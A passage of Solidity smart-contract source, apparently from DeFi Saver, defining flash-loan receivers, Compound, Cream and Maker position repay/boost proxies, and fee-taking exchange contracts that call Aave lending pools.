ETH_ADDRESS) { ERC20(_reserve).safeTransfer(_proxy, _amount); } _proxy.transfer(address(this).balance); } receive() external override(SaverExchangeCore, FlashLoanReceiverBase) payable {} } contract CompoundSaverFlashProxy is SaverExchangeCore, CompoundSaverHelper { address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; using SafeERC20 for ERC20; /// @notice Repays the position and sends tokens back for FL /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for transaction /// @param _flashLoanData Data about FL [amount, fee] function flashRepay( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost, uint[2] memory _flashLoanData // amount, fee ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint flashBorrowed = _flashLoanData[0] + _flashLoanData[1]; uint maxColl = getMaxCollateral(_cAddresses[0], address(this)); // draw max coll require(CTokenInterface(_cAddresses[0]).redeemUnderlying(maxColl) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { // swap max coll + loanAmount _exData.srcAmount = maxColl + _flashLoanData[0]; (,swapAmount) = _sell(_exData); // get fee swapAmount -= getFee(swapAmount, user, _gasCost, _cAddresses[1]); } else { swapAmount = (maxColl + _flashLoanData[0]); swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } // payback debt paybackDebt(swapAmount, _cAddresses[1], borrowToken, user); // draw collateral for loanAmount + loanFee require(CTokenInterface(_cAddresses[0]).redeemUnderlying(flashBorrowed) == 0); // repay flash loan returnFlashLoan(collToken, flashBorrowed); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "CompoundRepay", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } /// @notice Boosts the position and sends tokens back for FL /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for specific transaction /// @param _flashLoanData Data about FL [amount, fee] function flashBoost( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost, uint[2] memory _flashLoanData // amount, fee ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint flashBorrowed = _flashLoanData[0] + _flashLoanData[1]; // borrow max amount uint borrowAmount = getMaxBorrow(_cAddresses[1], address(this)); require(CTokenInterface(_cAddresses[1]).borrow(borrowAmount) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { // get dfs fee borrowAmount -= getFee((borrowAmount + _flashLoanData[0]), user, _gasCost, _cAddresses[1]); _exData.srcAmount = (borrowAmount + _flashLoanData[0]); (,swapAmount) = _sell(_exData); } else { swapAmount = (borrowAmount + _flashLoanData[0]); swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } // deposit swaped collateral depositCollateral(collToken, _cAddresses[0], swapAmount); // borrow token to repay flash loan require(CTokenInterface(_cAddresses[1]).borrow(flashBorrowed) == 0); // repay flash loan returnFlashLoan(borrowToken, flashBorrowed); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "CompoundBoost", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } /// @notice Helper method to deposit tokens in Compound /// @param _collToken Token address of the collateral /// @param _cCollToken CToken address of the collateral /// @param _depositAmount Amount to deposit function depositCollateral(address _collToken, address _cCollToken, uint _depositAmount) internal { approveCToken(_collToken, _cCollToken); if (_collToken != ETH_ADDRESS) { require(CTokenInterface(_cCollToken).mint(_depositAmount) == 0); } else { CEtherInterface(_cCollToken).mint{value: _depositAmount}(); // reverts on fail } } /// @notice Returns the tokens/ether to the msg.sender which is the FL contract /// @param _tokenAddr Address of token which we return /// @param _amount Amount to return function returnFlashLoan(address _tokenAddr, uint _amount) internal { if (_tokenAddr != ETH_ADDRESS) { ERC20(_tokenAddr).safeTransfer(msg.sender, _amount); } msg.sender.transfer(address(this).balance); } } contract CompoundSaverProxy is CompoundSaverHelper, SaverExchangeCore { DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); /// @notice Withdraws collateral, converts to borrowed token and repays debt /// @dev Called through the DSProxy /// @param _exData Exchange data /// @param _cAddresses Coll/Debt addresses [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for specific transaction function repay( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint maxColl = getMaxCollateral(_cAddresses[0], address(this)); uint collAmount = (_exData.srcAmount > maxColl) ? maxColl : _exData.srcAmount; require(CTokenInterface(_cAddresses[0]).redeemUnderlying(collAmount) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { _exData.srcAmount = collAmount; (, swapAmount) = _sell(_exData); swapAmount -= getFee(swapAmount, user, _gasCost, _cAddresses[1]); } else { swapAmount = collAmount; swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } paybackDebt(swapAmount, _cAddresses[1], borrowToken, user); // handle 0x fee tx.origin.transfer(address(this).balance); // log amount, collToken, borrowToken logger.Log(address(this), msg.sender, "CompoundRepay", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } /// @notice Borrows token, converts to collateral, and adds to position /// @dev Called through the DSProxy /// @param _exData Exchange data /// @param _cAddresses Coll/Debt addresses [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for specific transaction function boost( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint maxBorrow = getMaxBorrow(_cAddresses[1], address(this)); uint borrowAmount = (_exData.srcAmount > maxBorrow) ? maxBorrow : _exData.srcAmount; require(CTokenInterface(_cAddresses[1]).borrow(borrowAmount) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { borrowAmount -= getFee(borrowAmount, user, _gasCost, _cAddresses[1]); _exData.srcAmount = borrowAmount; (,swapAmount) = _sell(_exData); } else { swapAmount = borrowAmount; swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } approveCToken(collToken, _cAddresses[0]); if (collToken != ETH_ADDRESS) { require(CTokenInterface(_cAddresses[0]).mint(swapAmount) == 0); } else { CEtherInterface(_cAddresses[0]).mint{value: swapAmount}(); // reverts on fail } // handle 0x fee tx.origin.transfer(address(this).balance); // log amount, collToken, borrowToken logger.Log(address(this), msg.sender, "CompoundBoost", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } } contract CreamSaverFlashLoan is FlashLoanReceiverBase, SaverExchangeCore { ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address payable public COMPOUND_SAVER_FLASH_PROXY = 0x1e012554891d271eDc80ba8eB146EA5FF596fA51; address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public owner; using SafeERC20 for ERC20; constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public { owner = msg.sender; } /// @notice Called by Aave when sending back the FL amount /// @param _reserve The address of the borrowed token /// @param _amount Amount of FL tokens received /// @param _fee FL Aave fee /// @param _params The params that are sent from the original FL caller contract function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { // Format the call data for DSProxy (bytes memory proxyData, address payable proxyAddr) = packFunctionCall(_amount, _fee, _params); // Send Flash loan amount to DSProxy sendLoanToProxy(proxyAddr, _reserve, _amount); // Execute the DSProxy call DSProxyInterface(proxyAddr).execute(COMPOUND_SAVER_FLASH_PROXY, proxyData); // Repay the loan with the money DSProxy sent back transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } } /// @notice Formats function data call so we can call it through DSProxy /// @param _amount Amount of FL /// @param _fee Fee of the FL /// @param _params Saver proxy params /// @return proxyData Formated function call data function packFunctionCall(uint _amount, uint _fee, bytes memory _params) internal pure returns (bytes memory proxyData, address payable) { ( bytes memory exDataBytes, address[2] memory cAddresses, // cCollAddress, cBorrowAddress uint256 gasCost, bool isRepay, address payable proxyAddr ) = abi.decode(_params, (bytes,address[2],uint256,bool,address)); ExchangeData memory _exData = unpackExchangeData(exDataBytes); uint[2] memory flashLoanData = [_amount, _fee]; if (isRepay) { proxyData = abi.encodeWithSignature("flashRepay((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256,uint256[2])", _exData, cAddresses, gasCost, flashLoanData); } else { proxyData = abi.encodeWithSignature("flashBoost((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256,uint256[2])", _exData, cAddresses, gasCost, flashLoanData); } return (proxyData, proxyAddr); } /// @notice Send the FL funds received to DSProxy /// @param _proxy DSProxy address /// @param _reserve Token address /// @param _amount Amount of tokens function sendLoanToProxy(address payable _proxy, address _reserve, uint _amount) internal { if (_reserve != ETH_ADDRESS) { ERC20(_reserve).safeTransfer(_proxy, _amount); } _proxy.transfer(address(this).balance); } receive() external override(SaverExchangeCore, FlashLoanReceiverBase) payable {} } contract CreamSaverFlashProxy is SaverExchangeCore, CreamSaverHelper { address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; using SafeERC20 for ERC20; /// @notice Repays the position and sends tokens back for FL /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for transaction /// @param _flashLoanData Data about FL [amount, fee] function flashRepay( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost, uint[2] memory _flashLoanData // amount, fee ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint flashBorrowed = _flashLoanData[0] + _flashLoanData[1]; uint maxColl = getMaxCollateral(_cAddresses[0], address(this)); // draw max coll require(CTokenInterface(_cAddresses[0]).redeemUnderlying(maxColl) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { // swap max coll + loanAmount _exData.srcAmount = maxColl + _flashLoanData[0]; (,swapAmount) = _sell(_exData); // get fee swapAmount -= getFee(swapAmount, user, _gasCost, _cAddresses[1]); } else { swapAmount = (maxColl + _flashLoanData[0]); swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } // payback debt paybackDebt(swapAmount, _cAddresses[1], borrowToken, user); // draw collateral for loanAmount + loanFee require(CTokenInterface(_cAddresses[0]).redeemUnderlying(flashBorrowed) == 0); // repay flash loan returnFlashLoan(collToken, flashBorrowed); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "CreamRepay", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } /// @notice Boosts the position and sends tokens back for FL /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for specific transaction /// @param _flashLoanData Data about FL [amount, fee] function flashBoost( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost, uint[2] memory _flashLoanData // amount, fee ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint flashBorrowed = _flashLoanData[0] + _flashLoanData[1]; // borrow max amount uint borrowAmount = getMaxBorrow(_cAddresses[1], address(this)); require(CTokenInterface(_cAddresses[1]).borrow(borrowAmount) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { // get dfs fee borrowAmount -= getFee((borrowAmount + _flashLoanData[0]), user, _gasCost, _cAddresses[1]); _exData.srcAmount = (borrowAmount + _flashLoanData[0]); (,swapAmount) = _sell(_exData); } else { swapAmount = (borrowAmount + _flashLoanData[0]); swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } // deposit swaped collateral depositCollateral(collToken, _cAddresses[0], swapAmount); // borrow token to repay flash loan require(CTokenInterface(_cAddresses[1]).borrow(flashBorrowed) == 0); // repay flash loan returnFlashLoan(borrowToken, flashBorrowed); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "CreamBoost", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } /// @notice Helper method to deposit tokens in Compound /// @param _collToken Token address of the collateral /// @param _cCollToken CToken address of the collateral /// @param _depositAmount Amount to deposit function depositCollateral(address _collToken, address _cCollToken, uint _depositAmount) internal { approveCToken(_collToken, _cCollToken); if (_collToken != ETH_ADDRESS) { require(CTokenInterface(_cCollToken).mint(_depositAmount) == 0); } else { CEtherInterface(_cCollToken).mint{value: _depositAmount}(); // reverts on fail } } /// @notice Returns the tokens/ether to the msg.sender which is the FL contract /// @param _tokenAddr Address of token which we return /// @param _amount Amount to return function returnFlashLoan(address _tokenAddr, uint _amount) internal { if (_tokenAddr != ETH_ADDRESS) { ERC20(_tokenAddr).safeTransfer(msg.sender, _amount); } msg.sender.transfer(address(this).balance); } } contract CreamSaverProxy is CreamSaverHelper, SaverExchangeCore { DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); /// @notice Withdraws collateral, converts to borrowed token and repays debt /// @dev Called through the DSProxy /// @param _exData Exchange data /// @param _cAddresses Coll/Debt addresses [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for specific transaction function repay( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint maxColl = getMaxCollateral(_cAddresses[0], address(this)); uint collAmount = (_exData.srcAmount > maxColl) ? maxColl : _exData.srcAmount; require(CTokenInterface(_cAddresses[0]).redeemUnderlying(collAmount) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { (, swapAmount) = _sell(_exData); swapAmount -= getFee(swapAmount, user, _gasCost, _cAddresses[1]); } else { swapAmount = collAmount; swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } paybackDebt(swapAmount, _cAddresses[1], borrowToken, user); // handle 0x fee tx.origin.transfer(address(this).balance); // log amount, collToken, borrowToken logger.Log(address(this), msg.sender, "CreamRepay", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } /// @notice Borrows token, converts to collateral, and adds to position /// @dev Called through the DSProxy /// @param _exData Exchange data /// @param _cAddresses Coll/Debt addresses [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for specific transaction function boost( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint maxBorrow = getMaxBorrow(_cAddresses[1], address(this)); uint borrowAmount = (_exData.srcAmount > maxBorrow) ? maxBorrow : _exData.srcAmount; require(CTokenInterface(_cAddresses[1]).borrow(borrowAmount) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { borrowAmount -= getFee(borrowAmount, user, _gasCost, _cAddresses[1]); _exData.srcAmount = borrowAmount; (,swapAmount) = _sell(_exData); } else { swapAmount = borrowAmount; swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } approveCToken(collToken, _cAddresses[0]); if (collToken != ETH_ADDRESS) { require(CTokenInterface(_cAddresses[0]).mint(swapAmount) == 0); } else { CEtherInterface(_cAddresses[0]).mint{value: swapAmount}(); // reverts on fail } // handle 0x fee tx.origin.transfer(address(this).balance); // log amount, collToken, borrowToken logger.Log(address(this), msg.sender, "CreamBoost", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } } contract SaverExchange is SaverExchangeCore, AdminAuth, GasBurner { using SafeERC20 for ERC20; uint256 public constant SERVICE_FEE = 800; // 0.125% Fee // solhint-disable-next-line const-name-snakecase DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); uint public burnAmount = 10; /// @notice Takes a src amount of tokens and converts it into the dest token /// @dev Takes fee from the _srcAmount before the exchange /// @param exData [srcAddr, destAddr, srcAmount, destAmount, minPrice, exchangeType, exchangeAddr, callData, price0x] /// @param _user User address who called the exchange function sell(ExchangeData memory exData, address payable _user) public payable burnGas(burnAmount) { // take fee uint dfsFee = getFee(exData.srcAmount, exData.srcAddr); exData.srcAmount = sub(exData.srcAmount, dfsFee); // Perform the exchange (address wrapper, uint destAmount) = _sell(exData); // send back any leftover ether or tokens sendLeftover(exData.srcAddr, exData.destAddr, _user); // log the event logger.Log(address(this), msg.sender, "ExchangeSell", abi.encode(wrapper, exData.srcAddr, exData.destAddr, exData.srcAmount, destAmount)); } /// @notice Takes a dest amount of tokens and converts it from the src token /// @dev Send always more than needed for the swap, extra will be returned /// @param exData [srcAddr, destAddr, srcAmount, destAmount, minPrice, exchangeType, exchangeAddr, callData, price0x] /// @param _user User address who called the exchange function buy(ExchangeData memory exData, address payable _user) public payable burnGas(burnAmount){ uint dfsFee = getFee(exData.srcAmount, exData.srcAddr); exData.srcAmount = sub(exData.srcAmount, dfsFee); // Perform the exchange (address wrapper, uint srcAmount) = _buy(exData); // send back any leftover ether or tokens sendLeftover(exData.srcAddr, exData.destAddr, _user); // log the event logger.Log(address(this), msg.sender, "ExchangeBuy", abi.encode(wrapper, exData.srcAddr, exData.destAddr, srcAmount, exData.destAmount)); } /// @notice Takes a feePercentage and sends it to wallet /// @param _amount Dai amount of the whole trade /// @param _token Address of the token /// @return feeAmount Amount in Dai owner earned on the fee function getFee(uint256 _amount, address _token) internal returns (uint256 feeAmount) { uint256 fee = SERVICE_FEE; if (Discount(DISCOUNT_ADDRESS).isCustomFeeSet(msg.sender)) { fee = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(msg.sender); } if (fee == 0) { feeAmount = 0; } else { feeAmount = _amount / fee; if (_token == KYBER_ETH_ADDRESS) { WALLET_ID.transfer(feeAmount); } else { ERC20(_token).safeTransfer(WALLET_ID, feeAmount); } } } /// @notice Changes the amount of gas token we burn for each call /// @dev Only callable by the owner /// @param _newBurnAmount New amount of gas tokens to be burned function changeBurnAmount(uint _newBurnAmount) public { require(owner == msg.sender); burnAmount = _newBurnAmount; } } contract DFSExchange is DFSExchangeCore, AdminAuth, GasBurner { using SafeERC20 for ERC20; uint256 public constant SERVICE_FEE = 800; // 0.125% Fee // solhint-disable-next-line const-name-snakecase DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); uint public burnAmount = 10; /// @notice Takes a src amount of tokens and converts it into the dest token /// @dev Takes fee from the _srcAmount before the exchange /// @param exData [srcAddr, destAddr, srcAmount, destAmount, minPrice, exchangeType, exchangeAddr, callData, price0x] /// @param _user User address who called the exchange function sell(ExchangeData memory exData, address payable _user) public payable burnGas(burnAmount) { exData.dfsFeeDivider = SERVICE_FEE; // Perform the exchange (address wrapper, uint destAmount) = _sell(exData); // send back any leftover ether or tokens sendLeftover(exData.srcAddr, exData.destAddr, _user); // log the event logger.Log(address(this), msg.sender, "ExchangeSell", abi.encode(wrapper, exData.srcAddr, exData.destAddr, exData.srcAmount, destAmount)); } /// @notice Takes a dest amount of tokens and converts it from the src token /// @dev Send always more than needed for the swap, extra will be returned /// @param exData [srcAddr, destAddr, srcAmount, destAmount, minPrice, exchangeType, exchangeAddr, callData, price0x] /// @param _user User address who called the exchange function buy(ExchangeData memory exData, address payable _user) public payable burnGas(burnAmount){ exData.dfsFeeDivider = SERVICE_FEE; // Perform the exchange (address wrapper, uint srcAmount) = _buy(exData); // send back any leftover ether or tokens sendLeftover(exData.srcAddr, exData.destAddr, _user); // log the event logger.Log(address(this), msg.sender, "ExchangeBuy", abi.encode(wrapper, exData.srcAddr, exData.destAddr, srcAmount, exData.destAmount)); } /// @notice Changes the amount of gas token we burn for each call /// @dev Only callable by the owner /// @param _newBurnAmount New amount of gas tokens to be burned function changeBurnAmount(uint _newBurnAmount) public { require(owner == msg.sender); burnAmount = _newBurnAmount; } } contract MCDSaverFlashLoan is MCDSaverProxy, AdminAuth, FlashLoanReceiverBase { ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public {} struct SaverData { uint cdpId; uint gasCost; uint loanAmount; uint fee; address joinAddr; } function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { //check the contract has the specified balance require(_amount <= getBalanceInternal(address(this), _reserve), "Invalid balance for the contract"); ( bytes memory exDataBytes, uint cdpId, uint gasCost, address joinAddr, bool isRepay ) = abi.decode(_params, (bytes,uint256,uint256,address,bool)); ExchangeData memory exchangeData = unpackExchangeData(exDataBytes); SaverData memory saverData = SaverData({ cdpId: cdpId, gasCost: gasCost, loanAmount: _amount, fee: _fee, joinAddr: joinAddr }); if (isRepay) { repayWithLoan(exchangeData, saverData); } else { boostWithLoan(exchangeData, saverData); } transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } } function boostWithLoan( ExchangeData memory _exchangeData, SaverData memory _saverData ) internal { address user = getOwner(manager, _saverData.cdpId); // Draw users Dai uint maxDebt = getMaxDebt(_saverData.cdpId, manager.ilks(_saverData.cdpId)); uint daiDrawn = drawDai(_saverData.cdpId, manager.ilks(_saverData.cdpId), maxDebt); // Swap _exchangeData.srcAmount = daiDrawn + _saverData.loanAmount - takeFee(_saverData.gasCost, daiDrawn + _saverData.loanAmount); _exchangeData.user = user; _exchangeData.dfsFeeDivider = isAutomation() ? AUTOMATIC_SERVICE_FEE : MANUAL_SERVICE_FEE; (, uint swapedAmount) = _sell(_exchangeData); // Return collateral addCollateral(_saverData.cdpId, _saverData.joinAddr, swapedAmount); // Draw Dai to repay the flash loan drawDai(_saverData.cdpId, manager.ilks(_saverData.cdpId), (_saverData.loanAmount + _saverData.fee)); logger.Log(address(this), msg.sender, "MCDFlashBoost", abi.encode(_saverData.cdpId, user, _exchangeData.srcAmount, swapedAmount)); } function repayWithLoan( ExchangeData memory _exchangeData, SaverData memory _saverData ) internal { address user = getOwner(manager, _saverData.cdpId); bytes32 ilk = manager.ilks(_saverData.cdpId); // Draw collateral uint maxColl = getMaxCollateral(_saverData.cdpId, ilk, _saverData.joinAddr); uint collDrawn = drawCollateral(_saverData.cdpId, _saverData.joinAddr, maxColl); // Swap _exchangeData.srcAmount = (_saverData.loanAmount + collDrawn); _exchangeData.user = user; _exchangeData.dfsFeeDivider = isAutomation() ? AUTOMATIC_SERVICE_FEE : MANUAL_SERVICE_FEE; (, uint paybackAmount) = _sell(_exchangeData); paybackAmount -= takeFee(_saverData.gasCost, paybackAmount); paybackAmount = limitLoanAmount(_saverData.cdpId, ilk, paybackAmount, user); // Payback the debt paybackDebt(_saverData.cdpId, ilk, paybackAmount, user); // Draw collateral to repay the flash loan drawCollateral(_saverData.cdpId, _saverData.joinAddr, (_saverData.loanAmount + _saverData.fee)); logger.Log(address(this), msg.sender, "MCDFlashRepay", abi.encode(_saverData.cdpId, user, _exchangeData.srcAmount, paybackAmount)); } /// @notice Handles that the amount is not bigger than cdp debt and not dust function limitLoanAmount(uint _cdpId, bytes32 _ilk, uint _paybackAmount, address _owner) internal returns (uint256) { uint debt = getAllDebt(address(vat), manager.urns(_cdpId), manager.urns(_cdpId), _ilk); if (_paybackAmount > debt) { ERC20(DAI_ADDRESS).transfer(_owner, (_paybackAmount - debt)); return debt; } uint debtLeft = debt - _paybackAmount; (,,,, uint dust) = vat.ilks(_ilk); dust = dust / 10**27; // Less than dust value if (debtLeft < dust) { uint amountOverDust = (dust - debtLeft); ERC20(DAI_ADDRESS).transfer(_owner, amountOverDust); return (_paybackAmount - amountOverDust); } return _paybackAmount; } receive() external override(FlashLoanReceiverBase, DFSExchangeCore) payable {} } contract CompoundFlashLoanTaker is CompoundSaverProxy, ProxyPermission, GasBurner { ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); address payable public constant COMPOUND_SAVER_FLASH_LOAN = 0xCeB190A35D9D4804b9CE8d0CF79239f6949BfCcB; address public constant AAVE_POOL_CORE = 0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3; /// @notice Repays the position with it's own fund or with FL if needed /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress] /// @param _gasCost Gas cost for specific transaction function repayWithLoan( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable burnGas(25) { uint maxColl = getMaxCollateral(_cAddresses[0], address(this)); uint availableLiquidity = getAvailableLiquidity(_exData.srcAddr); if (_exData.srcAmount <= maxColl || availableLiquidity == 0) { repay(_exData, _cAddresses, _gasCost); } else { // 0x fee COMPOUND_SAVER_FLASH_LOAN.transfer(msg.value); uint loanAmount = (_exData.srcAmount - maxColl); if (loanAmount > availableLiquidity) loanAmount = availableLiquidity; bytes memory encoded = packExchangeData(_exData); bytes memory paramsData = abi.encode(encoded, _cAddresses, _gasCost, true, address(this)); givePermission(COMPOUND_SAVER_FLASH_LOAN); lendingPool.flashLoan(COMPOUND_SAVER_FLASH_LOAN, getUnderlyingAddr(_cAddresses[0]), loanAmount, paramsData); removePermission(COMPOUND_SAVER_FLASH_LOAN); logger.Log(address(this), msg.sender, "CompoundFlashRepay", abi.encode(loanAmount, _exData.srcAmount, _cAddresses[0])); } } /// @notice Boosts the position with it's own fund or with FL if needed /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress] /// @param _gasCost Gas cost for specific transaction function boostWithLoan( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable burnGas(20) { uint maxBorrow = getMaxBorrow(_cAddresses[1], address(this)); uint availableLiquidity = getAvailableLiquidity(_exData.srcAddr); if (_exData.srcAmount <= maxBorrow || availableLiquidity == 0) { boost(_exData, _cAddresses, _gasCost); } else { // 0x fee COMPOUND_SAVER_FLASH_LOAN.transfer(msg.value); uint loanAmount = (_exData.srcAmount - maxBorrow); if (loanAmount > availableLiquidity) loanAmount = availableLiquidity; bytes memory paramsData = abi.encode(packExchangeData(_exData), _cAddresses, _gasCost, false, address(this)); givePermission(COMPOUND_SAVER_FLASH_LOAN); lendingPool.flashLoan(COMPOUND_SAVER_FLASH_LOAN, getUnderlyingAddr(_cAddresses[1]), loanAmount, paramsData); removePermission(COMPOUND_SAVER_FLASH_LOAN); logger.Log(address(this), msg.sender, "CompoundFlashBoost", abi.encode(loanAmount, _exData.srcAmount, _cAddresses[1])); } } function getAvailableLiquidity(address _tokenAddr) internal view returns (uint liquidity) { if (_tokenAddr == KYBER_ETH_ADDRESS) { liquidity = AAVE_POOL_CORE.balance; } else { liquidity = ERC20(_tokenAddr).balanceOf(AAVE_POOL_CORE); } } } contract CreamFlashLoanTaker is CreamSaverProxy, ProxyPermission, GasBurner { ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); address payable public constant COMPOUND_SAVER_FLASH_LOAN = 0x3ceD2067c0B057611e4E2686Dbe40028962Cc625; address public constant AAVE_POOL_CORE = 0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3; /// @notice Repays the position with it's own fund or with FL if needed /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress] /// @param _gasCost Gas cost for specific transaction function repayWithLoan( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable burnGas(25) { uint maxColl = getMaxCollateral(_cAddresses[0], address(this)); uint availableLiquidity = getAvailableLiquidity(_exData.srcAddr); if (_exData.srcAmount <= maxColl || availableLiquidity == 0) { repay(_exData, _cAddresses, _gasCost); } else { // 0x fee COMPOUND_SAVER_FLASH_LOAN.transfer(msg.value); uint loanAmount = (_exData.srcAmount - maxColl); bytes memory encoded = packExchangeData(_exData); bytes memory paramsData = abi.encode(encoded, _cAddresses, _gasCost, true, address(this)); givePermission(COMPOUND_SAVER_FLASH_LOAN); lendingPool.flashLoan(COMPOUND_SAVER_FLASH_LOAN, getUnderlyingAddr(_cAddresses[0]), loanAmount, paramsData); removePermission(COMPOUND_SAVER_FLASH_LOAN); logger.Log(address(this), msg.sender, "CreamFlashRepay", abi.encode(loanAmount, _exData.srcAmount, _cAddresses[0])); } } /// @notice Boosts the position with it's own fund or with FL if needed /// @param _exData 